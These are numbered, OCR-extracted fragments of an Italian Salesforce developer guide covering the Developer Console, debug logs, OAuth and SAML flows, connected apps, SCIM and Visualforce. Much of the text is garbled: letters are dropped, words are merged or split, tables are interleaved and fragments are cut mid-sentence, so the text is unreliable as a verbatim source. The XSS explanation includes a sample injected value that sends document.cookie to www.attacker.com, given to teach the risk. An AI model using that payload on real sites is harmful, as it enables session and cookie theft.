109. utilizzare la Console sviluppatore Visualizza tutti i dati Disponibile nelle versioni Salesforce Classic e Per eseguire Apex Code anonimo Apex autore Lightning Experience Per i i bl 2 i API abilitata Disponibile nelle versioni HR o nella scheda della Enterprise Edition IS Performance Edition Per salvare le modifiche alle classi e ai Apex autore Unlimited Edition trigger Apex Developer Edition e Database com Edition Per salvare le modifiche alle pagine e ai Personalizza applicazione componenti Visualforce Per salvare le modifiche delle risorse Personalizza applicazione Lightning Definizione della Console sviluppatore La Console sviluppatore un ambiente di sviluppo integrato contenente una serie di strumenti che possibile utilizzare per creare testare ed eseguire il debug delle applicazioni nella propria organizzazione Salesforce Per un introduzione all interfaccia utente della Console sviluppatore vedere Panoramica sull interfaccia utente Console sviluppatore Accedere a developer salesforce com per le ultime novit e informazioni sullo sviluppo Salesforce Come si utilizza la Console sviluppatore La Console sviluppatore pu essere utile per svariate operazioni legate allo sviluppo Debug e risoluzione di problemi La Console sviluppatore mette a disposizione un utile gamma di strumenti che consentono di individuare efficacemente i problemi di logica Ottimizzazione di Salesforce con il codice Guida de
110. utilizzo del Log Inspector Controllo registri Di seguito sono elencati alcuni modi per utilizzare il Log Inspector Controllo registri per individuare e risolvere i problemi Tracc Visua iamento del percorso di esecuzione izzazione delle istruzioni System Debug Aggiornamento del codice sorgente Tracc iamento del DML in una richiesta Valutazione delle prestazioni di una pagina Visualforce Visua izzazione di un processo complesso Tracciamento del percorso di esecuzione Scenario si supponga di avere aperto un registro debug nel Log Inspector Controllo registri Quali sono i metodi per esaminare le informazioni passo per passo 1 Nel riquadro Execution Log Registro esecuzioni selezionare Executable Eseguibile per escludere tutti i passaggi non eseguibili incluse le informazioni sui limiti cumulativi 2 Nelriquadro Execution Overview Panoramica esecuzioni fare clic nella scheda Executed Units Unit eseguite per visualizzare i valori aggregati di vari tipi di operazioni nella richiesta Ad esempio possibile visualizzare il numero di operazioni DML o i vari metodi in base al tipo di metodo 3 Fare clic sulla scheda Limits Limiti per visualizzare i limiti impostati dall amministratore utilizzati da questa operazione Visualizzazione delle istruzioni System Debug Scenario si supponga di avere aggiunto diverse istruzioni System Debug al proprio codice per tenere traccia dell avanzamento di
111. volta in cui la riga del codice sorgente viene eseguita possibile utilizzare un iterazione diversa ad esempio se si desidera capire perch un loop non termina quando previsto Per modificare l iterazione fare clic sulla cella da modificare e inserire un nuovo numero Per una specifica riga di codice verr acquisito un solo checkpoint indipendentemente dal numero di esecuzioni durante una richiesta Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 260 Impostare le posizioni dei checkpoint dal Source Code Editor Editor codice sorgente Le posizioni checkpoint persistono finch non si fa clic su Clear Cancella o si chiude la Console sviluppatore VEDERE ANCHE Checkpoint Inspector Controllo checkpoint Impostazione dei checkpoint in Apex Code Sovrapposizione di Apex Code e istruzioni SOQL Utilizzo della Console sviluppatore Impostazione dei checkpoint in Apex Code Utilizzare i checkpoint della Console sviluppatore per eseguire il debug delle classi e dei trigger Apex Non possibile impostare checkpoint nel markup Visualforce O Importante Per utilizzare i checkpoint impostare il livello di registrazione di Apex Code su Finer Alto o Finest Massimo Vedere Impostazione dei livelli di registrazione Per creare un nuovo checkpoint 1 Aprire la classe o il trigger Apex nel Source Code Editor Editor codice sorgente 2 Fare clic sul margine a destra de
112. 0 47 0 10 Questo registro stato generato dalla finestra Execute Anonymous Esegui anonimo Le chiamate a debug e gli altri metodi provenienti da altre posizioni del codice vengono aggregati nell unit eseguita Ogni sezione del riquadro Stack Tree Albero stack include queste informazioni Colonna Descrizione Scope Ambito Area delimitata all interno del processo ad esempio un flusso di lavoro una classe o un DML Unit Unit Nome dell elemento area Duration Durata Tempo in millisecondi impiegato per l esecuzione dell elemento Heap Heap in byte utilizzato dall elemento Iterations Iterazioni Numero di chiamate effettuate all elemento Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 266 Execution Stack Stack esecuzioni Il riquadro Execution Stack Stack esecuzioni contiene una visualizzazione dal basso verso l alto dell elemento selezionato in quel momento nel registro debug che inizia con la chiamata di livello pi basso prosegue con l operazione che ha attivato la chiamata e COS Via Unit Duration Heap debug 0 11 0 execute_anony 53 00 2534 Execution Log Registro esecuzioni Il riquadro Execution Log Registro esecuzioni contiene il registro debug del processo corrente Il registro debug contiene tutte le azioni avvenute nel processo quali chiamate di metodi regole di flusso di lavoro e le operazioni DML Per vis
113. 15 caratteri del processo tipo di oggetto relativo ai dati in corso di elaborazione Tutti i dati di un processo devono avere lo stesso tipo di oggetto L operazione di elaborazione per tutti i batch del processo valori validi sono e eliminazione e insert e query upsert update e hardDelete Il numero di record gi elaborati che aumenta via via che vengono elaborati altri batch La data e l ora in cui stato inviato il processo Ottimizzazione di Salesforce con il codice Colonna Descrizione Stato Lo stato di elaborazione attuale del processo valori validi sono Aperto ll processo stato creato ed possibile aggiungervi dei batch Guida dell utente Integrazione di app con Salesforce 161 e Chiuso Non possibile aggiungere nuovi batch al processo batch associati al processo possono essere elaborati una volta chiuso il processo processi chiusi non si possono n modificare n salvare e Interrotto ll processo stato interrotto e Non riuscito llprocesso non riuscito batch del processo elaborati correttamente non possono essere ritirati Inviato da Ilnome dell utente che ha inviato il processo Tempo Il tempo totale rimanente per completare il processo rimanente VEDERE ANCHE Visualizzazione dei dettagli dei processi di caricamento dati in blocco Visualizzazione dei dettagli dei processi di caricamento dati in blocco Mediante l API in blocco che
114. 3LJuh4JwUDV Ej3WgDnTj E5vD461 CR5EXf4VL8uo8T40FkA51ANTAgMBAAEWDOYJKoZIhvcNAQEFBOADgYEAehxggyY6tB18x 1SSvCUyUIHvxssAnlAutgZLKWuR1 FX JzdVdE2F77nrV9YifIERUwhONiS82mBOkKqzzZPLlhcKh Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 209 KSnFZN2iWmml1sspL73I1 eAwVs0Uj bS3v9P004ceAD Q0CCY8gUAInTHOMgle0dJMhYKnw b1Uygj zn9rajY lt ds X509Certificate gt lt ds X509Data gt lt ds KeyInfo gt lt ds Signature gt lt saml Subject xmlns saml urn ocasis names tc SAML 2 0 assertion gt lt saml NameID Format urn ocasis names tc SAML 1 1l nameid format unspecified xmlns saml urn oasis names tc SAML 2 0 assertion gt test example org lt saml NameID gt lt saml SubjectConfirmation Method urn coasis names tc SAML 2 0 cm bearer xmlns saml urn coasis names tc SAML 2 0 assertion gt lt saml SubjectConfirmationData NotOnOrAfter 2013 09 05T19 30 14 654Z Recipient https login salesforce com services oauth2 token gt lt saml SubjectConfirmation gt lt saml Subject gt lt saml Conditions NotBefore 2013 09 05T19 25 14 654Z NotOnorAfter 2013 09 05T19 30 14 654Z xmlns saml urn ocasis names tc SAML 2 0 assertion gt lt saml AudienceRestriction xmlns saml urn ocasis names tc SAML 2 0 assertion gt lt saml Audience gt https logi
115. Android e iPhone mobile finestra di dialogo ottimizzata per dispositivi mobili progettata per gli smartphone meno potenti quali BlackBerry OS 5 login hint indica un valore valido per il nome utente con cui precompilare la pagina di accesso con il nome utente Ad esempio login hint username company com Se un utente ha gi una sessione attiva nel browser il parametro login hint non ha alcun effetto la sessione utente attiva prosegue nonce facoltativo con l ambito openid per ottenere un token ID utente Il valore restituito nella risposta ed utile per rilevare gli attacchi ripetuti prompt specifica in che modo il server di autorizzazione richiede la riautenticazione e la riapprovazione all utente Questo parametro facoltativo Gli unici valori supportati da Salesforce sono loginiil server di autorizzazione deve richiedere all utente di eseguire nuovamente l autenticazione costringendolo a ripetere l accesso consent il server di autorizzazione deve richiedere nuovamente l approvazione all utente prima di restituire le informazioni al client consentito specificare entrambi i valori separati da uno spazio per richiedere all utente di effettuare l accesso e fornire una nuova autorizzazione Ad esempio prompt logins20consent Per avviare il flusso il server Web solitamente crea un link o invia un reindirizzamento HTTP al browser Di seguito riportato un esempio diri ht chiesta a un endpoint di
116. Api Partner Server URL __xxx L endpointWSDLSOAP Partnerin cui xxx rappresenta la versione dell API e Api Session_ID L ID della sessione Esempio di Il seguente campo formula personalizzato esegue la chiamata a un servizio per la sostituzione del codice SIC S Control Sostituire myserver con il nome del proprio server HYPERLINK https www myserver com mypage j sp amp Username amp SUser Username amp amp crmSessionId amp GETSESSIONID amp acrmServerUrl amp Api Partner Server URL 90 amp amp crmoObjectId amp Id amp amp crmFieldUpdate sicCode Update SIC Code Esempio di Utilizzare la notazione del punto per restituire l ID sessione Visualforce e Flusso 7 Api Session_ID Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Suggerimenti Component Descrizione Utilizzo Esempio di Visualforce Suggerimenti Lightning 22 Questa variabile globale disponibile solo per campi formula S Control pulsanti e link personalizzati pagine Visualforce formule del flusso e formule del processo O Importante Api Session_ID restituisce valori diversi in base al dominio della richiesta Questo avviene perch l ID sessione varia nel corso di una sessione ogni volta che si supera la delimitazione di un nome host ad esempio da salesforce com a visual force com Di solito Salesforce gestisce in modo trasparente il passaggio di sessione tra i
117. CHE Utilizzo della Console sviluppatore Descrizione delle variabili globali componenti quali pulsanti e link personalizzati formule nei campi personalizzati regole di convalida flussi processi e pagine Visualforce consentono di utilizzare campi di unione speciali per fare riferimento ai dati nella propria organizzazione O Nota Perle schede Web sono supportati solo i campi di unione API organizzazione e utente Utilizzare le seguenti variabili globali quando si sceglie un tipo di campo di unione da aggiungere al componente personalizzato Action Descrizione Utilizzo Tipo di campo di unione globale da utilizzare quando si fa riferimento ad azioni di Salesforce standard come la visualizzazione della pagina iniziale della scheda Account la creazione la modifica e l eliminazione degli account Utilizzare i campi di unione azione nelle funzioni LINKTO e URLFOR perfare riferimento alle azioni selezionate 1 Selezionare il tipo di campo Action 2 Inserireuncampodiunione nelformato Action object action ad esempio Action Account New ID PA 0 N La disponibilit di ogni variabile globale dipende dai requisti dell ambiente e della versione per la funzionalit correlata TANGO TAAA ON UTENTE Per creare modificare ed eliminare Custom S Control formule o pagine Visualforce e Personalizza applicazione Per modificare flussi e processi e Gestisci Force com Flow Ott
118. Console sviluppatore consente di cercare aprire modificare e creare file di codice sorgente e Browse Packages in Your Organization Sfoglia pacchetti nell organizzazione navigare nei contenuti dei pacchetti creati nell organizzazione e View and Edit Apex Classes and Triggers Visualizza e modifica classi e trigger Apex aprire e modificare i trigger e le classi Apex e aprire una visualizzazione di sola lettura delle proprie definizioni degli oggetti personalizzati e View and Edit Lightning Components Visualizza e modifica componenti Lightning aprire e modificare le risorse Lightning quali applicazioni componenti eventi e interfacce e View and Edit Visualforce Pages and Components Visualizza e modifica pagine e componenti Visualforce aprire e modificare le pagine e i componenti Visualforce e Use the Source Code Editor Utilizza l Editor codice sorgente aprire un insieme funzionante di file di codice e passare da uno all altro mediante un unico clic Il Source Code Editor Editor codice sorgente della Console sviluppatore include una funzionalit di completamento automatico per Apex Code Test e convalida delle prestazioni La Console sviluppatore dotata di numerosi funzioni dedicate al test del codice e all analisi delle prestazioni e Test Apex Code Testa Apex Code Utilizzare la Console sviluppatore per verificare la copertura codice ed eseguire i test Apex inclusi testi di unit test funzionali test di regres
119. Contiene informazioni sulle singole richieste di provisioning per ogni utente VEDERE ANCHE Provisioning utente per applicazioni connesse Disinstallazione di un applicazione connessa INCI IO NPZZAVA O N ROSAS Per leggere Personalizza applicazione Per creare aggiornare o eliminare Personalizza applicazione E Modifica tutti i dati O Gestisci applicazioni connesse Per aggiornare tutti i campi tranne Profili Personalizza applicazione Insiemi di autorizzazioni e Attributi SAML provider di servizi Per aggiornare Profili Insiemi di Personalizza applicazione E Modifica tutti autorizzazioni e Attributi SAML provider di i dati servizi Per disinstallare Scarica pacchetti AppExchange Per rimuovere un applicazione connessa dall organizzazione necessario disinstallare il pacchetto di cui l applicazione fa parte D OX Disponibile nelle versioni Salesforce Classic e Lightning Experience Le applicazioni connesse possono essere create nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Le applicazioni connesse possono essere installate in tutte le versioni O Nota Quando un applicazione connessa viene disinstallata i token di accesso e aggiornamento di tutti gli utenti dell applicazione vengono rimossi Questo impedisce agli utenti di eseguire l applicazione in seguito utilizzando un token di accesso esistente
120. DAON Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Performance Edition Unlimited Edition Developer Edition Enterprise Edition e Database com Edition ANOLON TAAA ON UTENTE Per definire modificare eliminare impostare la protezione configurare le impostazioni di versione mostrare le dipendenze ed eseguire test per le classi Apex e Apex Autore lunghezza massima di 1 milione di caratteri esclusi i commenti i metodi di test e le classi definite mediante isTest Fare clic su Salva per salvare le modifiche e tornare alla pagina dei dettagli della classe oppure fare clic su Salvataggio rapido per salvare le modifiche e continuare a modificare la classe Per poter salvare la classe necessario compilare la classe Apex in modo corretto iamate mediante i metodi o le variabili di classe da qualunque altro Apex code ad esempio roattiva le classi vengono memorizzate con le impostazioni di versione di una versione specifica di Apex e dell API Se la classe personalizzato vengono salvate anche le classi vengono memorizzate con un fl Apex fa riferimento a componenti di pacchetti gestiti installati ad esempio un oggetto le impostazioni di versione per ogni pacchetto gestito a cui la classe fa riferimento Inoltre ag IsValid che rimane impostato su t rue finch i metadati dipendenti non cambiano rispetto all ultima compilazione della c asse Se vengono apportate modifiche ai
121. ER e numero di record e tempo di esecuzione avoro superiori FLOW BULK ELEMENT END D intervista tipo di elemento nome dell elemento e Flusso di FINE e numero di record avoro superiori FLOW CREATE INTERVIEW BEGIN D organizzazione ID definizione e ID versione Flusso di INFO e avoro superiori FLOW CREATE INTERVIEW END D intervista e nome del flusso Flusso di INFO e avoro superiori FLOW CREATE INTERVIEW ERROR essaggio ID organizzazione ID definizione e ID Flusso di ERROR e versione avoro superiori FLOW ELEMENT BEGIN D intervista tipo di elemento e nome dell elemento Flusso di FINE e avoro superiori FLOW ELEMENT DEFERRED Tipo di elemento e nome dell elemento Flusso di FINE e avoro superiori FLOW ELEMENT END D intervista tipo di elemento e nome dell elemento Flusso di FINE e avoro superiori FLOW ELEMENT ERROR essaggio tipo di elemento e nome dell elemen Flusso di ERROR e eccezione fase di esecuzione dei flussi avoro superiori FLOW ELEMENT ERROR essaggio tipo di elemento e nome dell elemen Flusso di ERROR e Spark non trovato avoro superiori FLOW ELEMENT ERROR essaggio tipo di elemento e nome dell elemen Flusso di ERROR e eccezione Designer avoro superiori FLOW ELEMENT ERROR essaggio tipo di elemento e nome dell elemen Flusso di ERROR e limite Designer superato avoro superiori FLOW_ELEMENT_ERROR essaggio tipo di elemento e nome dell elemen Flusso di ERROR e eccezione fase di esecuzione Designer avoro superiori FLOW_ELEMENT_FAULT essaggio tip
122. Editor Esecuzione di una query SOQL o di una ricerca SOSL Griglia Query Results Risultati della query Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 14 Griglia Query Results Risultati della query La griglia Query Results Risultati della query visualizza ogni record sotto forma di riga possibile creare aggiornare ed eliminare record senza uscire dalla Console sviluppatore Nei risultati delle ricerche SOSL con pi oggetti ogni oggetto visualizzato in una scheda separata e Per aprire un record nei risultati fare clic sulla riga e selezionare Open Detail Page Apri pagina dei dettagli Per modificare il record fare clic su Edit Page Pagina di modifica per passare al record in Salesforce e Per creare un record fare clic su Insert Row Inserisci riga Immettere le informazioni e fare clic su Save Rows Salva righe O Nota per inserire una riga i risultati delle query devono contenere tutti i campi obbligatori per l oggetto campi obbligatori devono essere di testo semplice o numerici Se queste condizioni non sono soddisfatte viene creata una riga vuota che non potr essere salvata In questo caso fare clic su Create New Crea nuovo per creare un record in Salesforce e Per modificare un record all interno della griglia Query Results Risultati della query fare doppio clic sulla riga Apportare le modifiche e fare clic su Save Rows Salva righe e Per el
123. Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Ut da 0 N ANOLON TAAA ON UTENTE Per impostare la protezione delle pagine Visualforce e Gestisci profili e insiemi di autorizzazioni E Personalizza applicazione Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 99 Impostazione della protezione delle pagine Visualforce dagli insiemi di autorizzazioni 1 Utd Da Imposta immettere Insiemi di autorizzazioni nella casella Ricerca veloce quindi selezionare Insiemi di autorizzazioni Selezionare un insieme di autorizzazioni Fare clic su Accesso a pagina Visualforce Fare clic su Modifica Selezionare le pagine Visualforce da abilitare dall elenco Pagine Visualforce disponibili e fare clic su Aggiungi o selezionare le pagine Visualforce da disabilitare dall elenco Pagine Visualforce abilitate e fare clic su Rimuovi Fare clic su Salva Impostazione della protezione delle pagine Visualforce dai profili Impostare il livello di protezione di Visualforce direttamente da un profilo per consentire agli utenti di quel profilo l accesso alla pagina Visualforce specificata 1 Da Imposta immettere Profili nella casella Ricerca veloce quindi selezionare Profili Fare clic sul nome del profilo che si desidera modificare Nell elenco correlato o nella pagina Accesso pagina Visualforce fare clic su Modifica Selezion
124. Esegui come selezionare l utente per il plugin Se l utente non autorizzato per l applicazione connessa autorizzarlo con il metodo authorize Per ulteriori informazioni vedere la classe ConnectedAppPlugin nel manuale Force com Apex Code Developer s Guide VEDERE ANCHE Modifica di un applicazione connessa Provisioning utente per applicazioni connesse Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 186 Monitoraggio dell uso di un applicazione connessa AUTORIZZAZIONI UTENTE Per leggere Personalizza applicazione Per creare aggiornare o eliminare Personalizza applicazione E Modifica tutti i dati O Gestisci applicazioni connesse Per aggiornare tutti i campi tranne Profili Personalizza applicazione Insiemi di autorizzazioni e Attributi SAML provider di servizi Per aggiornare Profili Insiemi di Personalizza applicazione E Modifica tutti autorizzazioni e Attributi SAML provider di i dati servizi Per disinstallare Scarica pacchetti AppExchange Per visualizzare le informazioni sull utilizzo di qualsiasi applicazione connessa nell organizzazione ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Le applicazioni connesse possono essere create nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition Le applicazioni connesse possono ess
125. Esegui ultimo Se si desidera modificare il codice fare clic su Debug gt Open Execute Anonymous Window Apri finestra di esecuzione anonima per aprire la finestra Enter Apex Code Inserisci Apex Code con la voce precedente VEDERE ANCHE Menu Debug Log Inspector Controllo registri Utilizzo dei registri debug Scheda Logs Registri Ottimizzazione di Salesforce con il codice Che cosa accade quando si verifica un eccezione Apex Quando si verifica un eccezione l esecuzione del codice si arresta Tutte le operazioni DML elaborate prima dell eccezione vengono ritirate enon vengono confermate nel database Le eccezioni vengono registrate nei registri debug Per le eccezioni non gestite cio per le eccezioni che il codice non in grado individuare Salesforce invia un messaggio email che include informazioni sull eccezione L utente finale visualizza un messaggio di errore nell interfaccia utente Salesforce Messaggi email per le eccezioni non gestite Quando si verificano eccezioni Apex non gestite vengono inviati dei messaggi email che includono la traccia dello stack Apex e l ID dell utente e dell organizzazione del cliente Il rapporto non restituisce altri dati del cliente messaggi email relativi alle eccezioni non gestite vengono inviati per impostazione predefinita allo sviluppatore specificato nel campo LastModi f i edBy sulla classe o sul trigger che presenta l errore Inoltre possibile che vengano inviati messaggi email ag
126. HE Panoramica sulleapplicazioni connesse Creazione di un applicazione connessa Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 138 Ambito operativo del campo campi visualizzati nella pagina Ambito operativo del campo vengono richiamati attraverso l ambito operativo e Se la casella aggiornato selezionata il campo aggiornato con un operazione DML Database Manipulation Language come insert o update Per ulteriori informazioni vedere Descrizione delle dipendenze Se la casella aggiornato non selezionata il campo viene richiamato solo nell ambito operativo Ad esempio pu essere incluso come parte di un istruzione select e Se selezionata la casella di controllo ID esterno il campo funge da ID esterno campi ID esterno contengono identificativi univoci dei record da un sistema esterno rispetto a Salesforce Per trovare i valori ID esterni possibile utilizzare la funzione di ricerca nell intestazione laterale e utilizzare il campo nell API Force com Quando si utilizza la procedura Importazione guidata dati per soluzioni e oggetti personalizzati possibile utilizzare questo campo per evitare le duplicazioni ID P4 0 N Disponibile nelle versioni Salesforce Classic pacchetti AppExchange e Visualforce sono disponibili nelle versioni Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edit
127. ID dell organizzazione e dell utente Il rapporto non contiene altri dati relativi all utente Se ci si trova in modalit sviluppo e non nello stesso spazio dei nomi della pagina si potr visualizzare il messaggio di eccezione il tipo di eccezione e una notifica del fatto che lo sviluppatore stato informato per email Se si lo sviluppatore e ci si trova nello stesso spazio dei nomi della pagina non in modalit di sviluppo si visualizzer un messaggio di eccezione Potrebbe anche essere visualizzato un messaggio a indicare che lo sviluppatore stato informato Se ci si trova in modalit di sviluppo verr visualizzato il messaggio di eccezione il tipo di eccezione e l analisi dello stack Apex VEDERE ANCHE Debug del codice Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Lightning 75 Gestione delle impostazioni di versione per le pagine e i componenti personalizzati Visualforce Per facilitare la compatibilit retroattiva le pagine e i componenti personalizzati Visualforce vengono EDIZIONI salvati con le impostazioni di versione della versione specificata dell API e della versione specifica di Visualforce Se la pagina o il componente Visualforce fa riferimento a pacchetti gestiti installati vengono salvate anche le impostazioni di versione per ogni pacchetto gestito a cui la pagina o il Disponibile nelle versioni Salesforce Classic e componente fa riferimento Ci garantisc
128. L lt xml version 1 0 encoding UTF 8 gt lt user xmlns xsi http www w3 0rg 2001 XMLSchema instance gt lt id gt http nal salesforce com id 00Dx0000001T0zk 005x0000001S2b9 lt id gt lt asserted user gt true lt asserted user gt lt user id gt 005x00000015S2b9 lt user id gt lt organization id gt 00Dx0000001T0zk lt organization id gt lt nick name gt admin1l 2777578168398293E12foofoofoofoo lt nick name gt lt display name gt Alan Van lt display name gt lt email gt admin 2060747062579699 com lt email gt lt status gt lt created date xsi nil true gt lt body xsi nil true gt lt status gt lt photos gt lt picture gt http nal salesforce com profilephoto 005 F lt picture gt lt thumbnail gt http nal salesforce com profilephoto 005 T lt thumbnail gt Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 238 lt photos gt lt urls gt lt enterprise gt http nal salesforce com services Soap c version 00Dx0000001T0zK lt enterprise gt lt metadata gt http nal salesforce com services Soap m version 00Dx0000001T0zK lt metadata gt lt partner gt http nal salesforce com services Soap u version 00Dx0000001T0zK lt partner gt lt rest gt http nal salesforce com services data v version lt rest gt lt sobjects gt http nal salesforce com services data v version sobjects lt sobjects gt lt sear
129. Lightning Experience Disponibile in tutte le versioni tranne Personal Edition ANOLON TAAA ON UTENTE Per aggiungere modelli di link azioni ai pacchetti e Crea pacchetto AppExchange Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 158 Utilizzo del sistema SCIM System for Cross domain Identity Management Salesforce supporta la specifica 1 1 del sistema open standard SCIM per la gestione delle identit tra domini e fornisce alcune estensioni alla specifica per consentire la modifica e la gestione delle propriet utente tramite l API REST Utilizzare le operazioni CRUD Create Read Update e Disable sugli utenti Inoltre assegnare annullare l assegnazione degli utenti a un profilo insieme di autorizzazioni ruolo o gruppo pubblico di Salesforce utilizzando l API REST Di seguito sono riportati gli endpoint SCIM di Salesforce dove url org salesforce l URL anizzazione ad esempio un dominio personalizzato per l utente dell org ht ht ht ht rvic tps url org salesforce s rvic tps url org salesforce s tps url org salesforce s rvic rvic tps url org salesforce s s scim v1 Users s scim v1l Groups s scim vl Entitlements s scim v1l Schemas possibile richiedere le funzionalit dell implementazione SCIM di Salesforce utilizzando https url org salesforce services scim vl ServiceProviderConfigs
130. OST invalid client credentials segreto client non valido invalid grant codice di autorizzazione non valido invalid grant limitazione IP o orari di accesso non validi Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 223 invalid grant code verifier non valido Indica che il valore code verifier non valido sprovvisto di codifica base64url ecc o non il verificatore valido per il valore code challenge dato invalid grant code verifier imprevisto Indica che code challenge non stato specificato e che quindi ilvalore code_verifier non era atteso ma stato specificato redirect uri mismatch redirect_uri non fornito redirect uri mismatch redirect_uri non corrisponde alla definizione dell applicazione connessa inactive user l utente stato impostato su inattivo dall amministratore inactive org organizzazione bloccata chiusa o sospesa rate limit exceeded numero di tentativi di VEDERE ANCHE Autenticazione delle applicazioni con OAuth Flusso password nome utente OAuth 2 0 accesso superato Il flusso di autenticazione nome utente password pu essere utilizzato per effettuare l autenticazione quando il consumatore dispone gia delle credenziali dell utente Avvertenza Questo flusso di autenticazione OAuth comporta la trasmissione delle credenziali dell utente in entrambe le direzioni Utilizzare questo flusso solo quando nece
131. S o con Google Cloud Messaging GCM per le notifiche push Android L utente ha implementato gli handler Apex per le notifiche push Nota Un applicazione connessa abilitata alle notifiche push pu supportare solo una piattaforma mobile Se si forniscono le versioni Android e iOS dell applicazione mobile e si necessita del supporto delle notifiche push su entrambe le versioni creare un applicazione connessa per ciascuna piattaforma Per informazioni su come soddisfare questi requisiti vedere laGuida all implementazione delle notifiche push di Salesforce Mobile Per configurare le notifiche push per APNS iOS 1 io N Selezionare Messaggi push abilitati Per Piattaforma push supportata selezionare Apple Selezionare l ambiente Apple valido per il proprio certificato notifiche push APNS Per Certificato selezionare il file del certificato p12 ricevuto dall APNS al momento della registrazione dell applicazione per le notifiche push ad esempio appkey p12 Ottimizzazione di Salesforce con il codice 5 Immettere la password per il proprio file del certificato p12 Per configurare le notifiche push per GCM Android 1 2 3 Pe i N Selezionare Messaggi push abilitati Per Piattaforma push supportata selezionare Android GCM Per Chiave per applicazioni server chiave API immettere la chiave ottenuta durante la registrazione dello sviluppatore con Google cambiare la piattaforma mobile con
132. SAML Professional Edition provider di servizi Enterprise Edition Performance Edition Per aggiornare Profili Insiemi di Personalizza applicazione E Modifica tutti Unlimited Edition e autorizzazioni e Attributi SAML provider di i dati Developer Edition servizi sli Le applicazioni connesse Per disinstallare Scarica pacchetti AppExchange possono essere installate in tutte le versioni Configurare un applicazione connessa in modo da poter procedere pi rapidamente al provisioning degli utenti per le applicazioni Salesforce fornisce una procedura guidata dettagliata che indica le impostazioni di provisioning utente per ogni applicazione connessa Prima di utilizzare la procedura guidata sar necessario quanto segue Un applicazione connessa per il servizio di terze parti Qualsiasi applicazione connessa pu supportare il provisioning utenti incluse le applicazioni connesse che si comportano come segnalibri Ottimizzazione di Salesforce con il codice Guida dell utente Integrazione di app con Salesforce 195 Credenziali denominate Le credenziali denominate identificano il sistema di terze parti e le relative impostazioni di autenticazione Le chiamate al sistema di terze parti quali la creazione la modifica o l eliminazione di account utilizzano le impostazioni di autenticazione di terze parti nella credenziale denominata Per la credenziale denominata si specifica un Direttore denominato che pu essere un account sul
133. SS coprono una vasta gamma di attacchi in cui uno script HTML o lato client dannoso viene iniettato in un applicazione Web L applicazione Web include lo script dannoso in una risposta a un suo utente L utente diventa quindi la vittima ignara dell attacco L autore dell attacco ha utilizzato l applicazione Web come intermediario dell attacco approfittando della fiducia della vittima nell applicazione Web La maggior parte delle applicazioni che visualizzano pagine Web dinamiche senza convalidare opportunamente i dati sono potenzialmente vulnerabili Gli attacchi contro il sito Web sono particolarmente semplici se l input di un utente destinato a essere visualizzato da un altro utente Alcune possibilit evidenti includono i siti Web con bacheche o commenti degli utenti notizie o archivi di email Ad esempio si supponga che il seguente script venga incluso in una pagina Force com utilizzando un componente di script un evento on oppure una pagina Visualforce lt script gt var foo CurrentPage parameters userparam script gt var foo SCurrentPage parameters userparam lt script gt Questo blocco di script inserisce nella pagina il valore di userparam fornito dall utente L autore dell attacco pu quindi immettere il seguente valore per userparam l document location http www attacker com cgi bin cookie cgi 2Bdocument cookie var 20f00 2 In questo caso tutti i cookie della pagina corrente vengono inviati a www att
134. Salesforce standard oppure gli sviluppatori possono associare la propria logica a un controller personalizzato o a un estensione del controller scritta in Apex ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition O Nota Questo rilascio contiene una versione beta di Visualforce per Lightning Experience di qualit pari all istanza di produzione ma con limitazioni note VEDERE ANCHE Definizione delle pagine Visualforce Definizione di componente personalizzato http www salesforce com us developer docs pages index htm Ottimizzazione di Salesforce con il codice Visualforce per Lightning Experience Beta Questo rilascio contiene una versione beta di Visualforce per Lightning Experience di qualit pari all istanza di produzione ma con limitazioni note Visualforce rimane disponibile Soltanto l utilizzo di pagine Visualforce con Lightning Experience abilitato considerato beta Definizione di pagine Visualforce Definizione delle pagine Visualforce possibile creare pagine Visualforce utilizzando la modalit sviluppo di Visualforce oppure creando pagine in Imposta Per creare una pagina con lo strumento di correzione rapida disponibile nella modalit sviluppo di Visualforce 1 Nel browser immettere il seguen
135. Tenere presente che le pagine di avvio non vengono visualizzate nell app Salesforce Classic mobile Evitare di utilizzare una pagina di avvio se si intende rendere mobile la scheda 9 Immettere una descrizione della scheda se lo si desidera quindi fare clic su Avanti 10 Scegliere i profili utente per i quali sar disponibile la nuova scheda personalizzata e Selezionare Applica un unica visibilit scheda a tutti i profili e scegliere Impostazioni predefinite attivate Impostazioni predefinite disattivate o Scheda nascosta dall elenco a discesa e Oppure selezionare Applica visibilit scheda diverse per ogni profilo e per ogni profilo scegliere Impostazioni predefinite attivate Impostazioni predefinite disattivate o Scheda nascosta dall elenco a discesa 11 Specificare le applicazioni personalizzate che devono includere la nuova scheda 12 Selezionare Aggiungi scheda alle impostazioni personalizzat sistenti dell utente per aggiungere la nuova scheda alle impostazioni di visualizzazione personalizzate se stata personalizzata la visualizzazione personale 13 Fare clic su Salva VEDERE ANCHE Definizione delle pagine Visualforce Eccezioni non rilevate in Visualforce Se una pagina Visualforce non sviluppata dall utente presenta un errore o un eccezione non rilevata e Viene visualizzata una semplice spiegazione del problema in Salesforce e Lo sviluppatore che ha creato la pagina riceve l errore mediante email con l
